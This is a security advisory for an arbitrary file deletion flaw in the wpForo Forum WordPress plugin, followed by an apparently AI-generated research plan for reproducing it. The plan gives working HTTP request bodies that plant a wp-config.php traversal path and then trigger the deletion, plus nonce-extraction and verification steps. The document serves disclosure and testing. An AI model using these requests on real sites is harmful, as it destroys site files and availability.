wpForo Forum <= 3.0.2 - Authenticated (Subscriber+) Arbitrary File Deletion via 'data[body][fileurl]' Parameter
Description
The wpForo Forum plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to and including 3.0.2. This is due to a two-step logic flaw: the topic_add() and topic_edit() action handlers accept arbitrary user-supplied data[*] arrays from $_REQUEST and store them as postmeta without restricting which fields may contain array values. Because 'body' is included in the allowed topic fields list, an attacker can supply data[body][fileurl] with an arbitrary file path (e.g., wp-config.php or an absolute server path). This poisoned fileurl is persisted to the plugin's custom postmeta database table. Subsequently, when the attacker submits wpftcf_delete[]=body on a topic_edit request, the add_file() method retrieves the stored postmeta record, extracts the attacker-controlled fileurl, passes it through wpforo_fix_upload_dir() which only rewrites legitimate wpforo upload paths and returns all other paths unchanged, and then calls wp_delete_file() on the unvalidated path. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files writable by the PHP process on the server, including critical files such as wp-config.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:HTechnical Details
What Changed in the Fix
Changes introduced in v3.0.3
Source Code
WordPress.org SVNThis research plan outlines the steps required to demonstrate an authenticated arbitrary file deletion vulnerability in the **wpForo Forum** plugin (versions <= 3.0.2). ### 1. Vulnerability Summary The wpForo Forum plugin is vulnerable to **Arbitrary File Deletion** due to a two-step logic flaw in …
Show full research plan
This research plan outlines the steps required to demonstrate an authenticated arbitrary file deletion vulnerability in the wpForo Forum plugin (versions <= 3.0.2).
1. Vulnerability Summary
The wpForo Forum plugin is vulnerable to Arbitrary File Deletion due to a two-step logic flaw in the topic management system.
- Improper Metadata Storage: The
topic_add()andtopic_edit()action handlers accept adataarray from$_REQUEST. The plugin fails to restrict the structure of fields likebody, allowing an attacker to supply an array containing afileurlkey (e.g.,data[body][fileurl]). This unvalidated path is saved to the plugin's custom topic metadata. - Insecure Deletion: When a user submits an edit request with the
wpftcf_delete[]parameter set to a field name (e.g.,wpftcf_delete[]=body), the plugin'sadd_file()method retrieves the stored metadata. It passes the attacker-controlledfileurlthroughwpforo_fix_upload_dir(), which does not filter absolute or relative paths outside the wpForo directory, and finally callswp_delete_file()on the path.
2. Attack Vector Analysis
- Endpoint: The exploit targets the frontend forum interface where topics are created and edited.
- Action:
wpfaction=topic_add(to poison) andwpfaction=topic_edit(to trigger). - Authentication: Authenticated (Subscriber-level and above).
- Vulnerable Parameters:
data[body][fileurl]: Used to store the target file path.wpftcf_delete[]: Used to trigger the deletion logic for the specified field.
- Preconditions: At least one forum must be active and accessible to the Subscriber for posting.
3. Code Flow (Inferred from Patch and Description)
- Poisoning Phase (
topic_add/topic_edit):- User sends a POST request with
wpfaction=topic_add. WPF()->topic->add()(inclasses/Topics.php- inferred) receives$_REQUEST['data'].- The
bodyfield is in the allowed list. Because it is handled as an array, the plugin stores[ 'fileurl' => '/path/to/target' ]in the database.
- User sends a POST request with
- Trigger Phase (
topic_edit):- User sends a POST request with
wpfaction=topic_editandwpftcf_delete[]=body. - The handler calls a method (likely
add_file()) to process file updates/deletions. - The code identifies
bodyin thewpftcf_deletearray. - It fetches the stored meta for
body. - The
fileurlvalue (/path/to/target) is passed towpforo_fix_upload_dir(). wp_delete_file('/path/to/target')is executed.
- User sends a POST request with
4. Nonce Acquisition Strategy
The plugin uses a nonce for topic operations, typically named wpforo_nonce.
- Identify Forum: Find a valid forum ID (
fid) where the user can post. - Navigate: Use
browser_navigateto go to the "Add Topic" page for that forum:/?wpf=add-topic&fid=1(fid varies). - Extract Nonce: Use
browser_evalto extract the nonce from the hidden form field.browser_eval("document.querySelector('input[name=\"wpforo_nonce\"]')?.value") - Extract Field Nonce: If the deletion uses a specific nonce for file management, search for inputs starting with
wpftcf_.
5. Exploitation Strategy
Step 1: Poisoning (Creating the Topic)
Send an authenticated POST request to create a new topic with the target file path hidden in the body metadata.
- Tool:
http_request - Method:
POST - URL:
http://localhost:8080/index.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
wpfaction=topic_add &fid=1 &wpforo_nonce=[EXTRACTED_NONCE] &data[t_subject]=Exploit Topic &data[body][fileurl]=../../../wp-config.php - Note: Extract the
topicidfrom the resulting redirect URL or the page content.
Step 2: Triggering (Deleting the File)
Send an authenticated POST request to edit the topic and trigger the deletion of the body field.
- Tool:
http_request - Method:
POST - URL:
http://localhost:8080/index.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
wpfaction=topic_edit &topicid=[TOPIC_ID] &wpforo_nonce=[EXTRACTED_NONCE] &wpftcf_delete[]=body &data[t_subject]=Exploit Trigger &data[body]=cleared
6. Test Data Setup
- Subscriber User: Create a user with the
subscriberrole. - Forum Setup: Ensure at least one forum exists. Use WP-CLI:
wp forum create --title="General Discussion" --slug="general" --status="publish" - Target File: Create a dummy file to delete to avoid breaking the environment immediately.
Update the exploit payloadecho "secret" > /var/www/html/wp-content/uploads/delete-me.txtdata[body][fileurl]to point to/var/www/html/wp-content/uploads/delete-me.txt.
7. Expected Results
- The first request should successfully create a topic.
- The second request should return a success message or redirect back to the topic.
- The file at the specified path (e.g.,
wp-config.phpordelete-me.txt) should be deleted from the server.
8. Verification Steps
After the HTTP requests, use WP-CLI or filesystem checks to verify the deletion:
# Check if the dummy file still exists
ls /var/www/html/wp-content/uploads/delete-me.txt
# Expected: "ls: cannot access ... No such file or directory"
9. Alternative Approaches
If topic_add doesn't allow the initial injection, try injecting during topic_edit on an existing topic.
If the path requires relative traversal from the wpForo upload directory, use ../../../../wp-config.php. The number of ../ depends on where wp_delete_file expects the path (usually relative to ABSPATH or absolute). If the plugin uses wpforo_fix_upload_dir(), it likely attempts to resolve paths relative to the wpForo upload folder.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.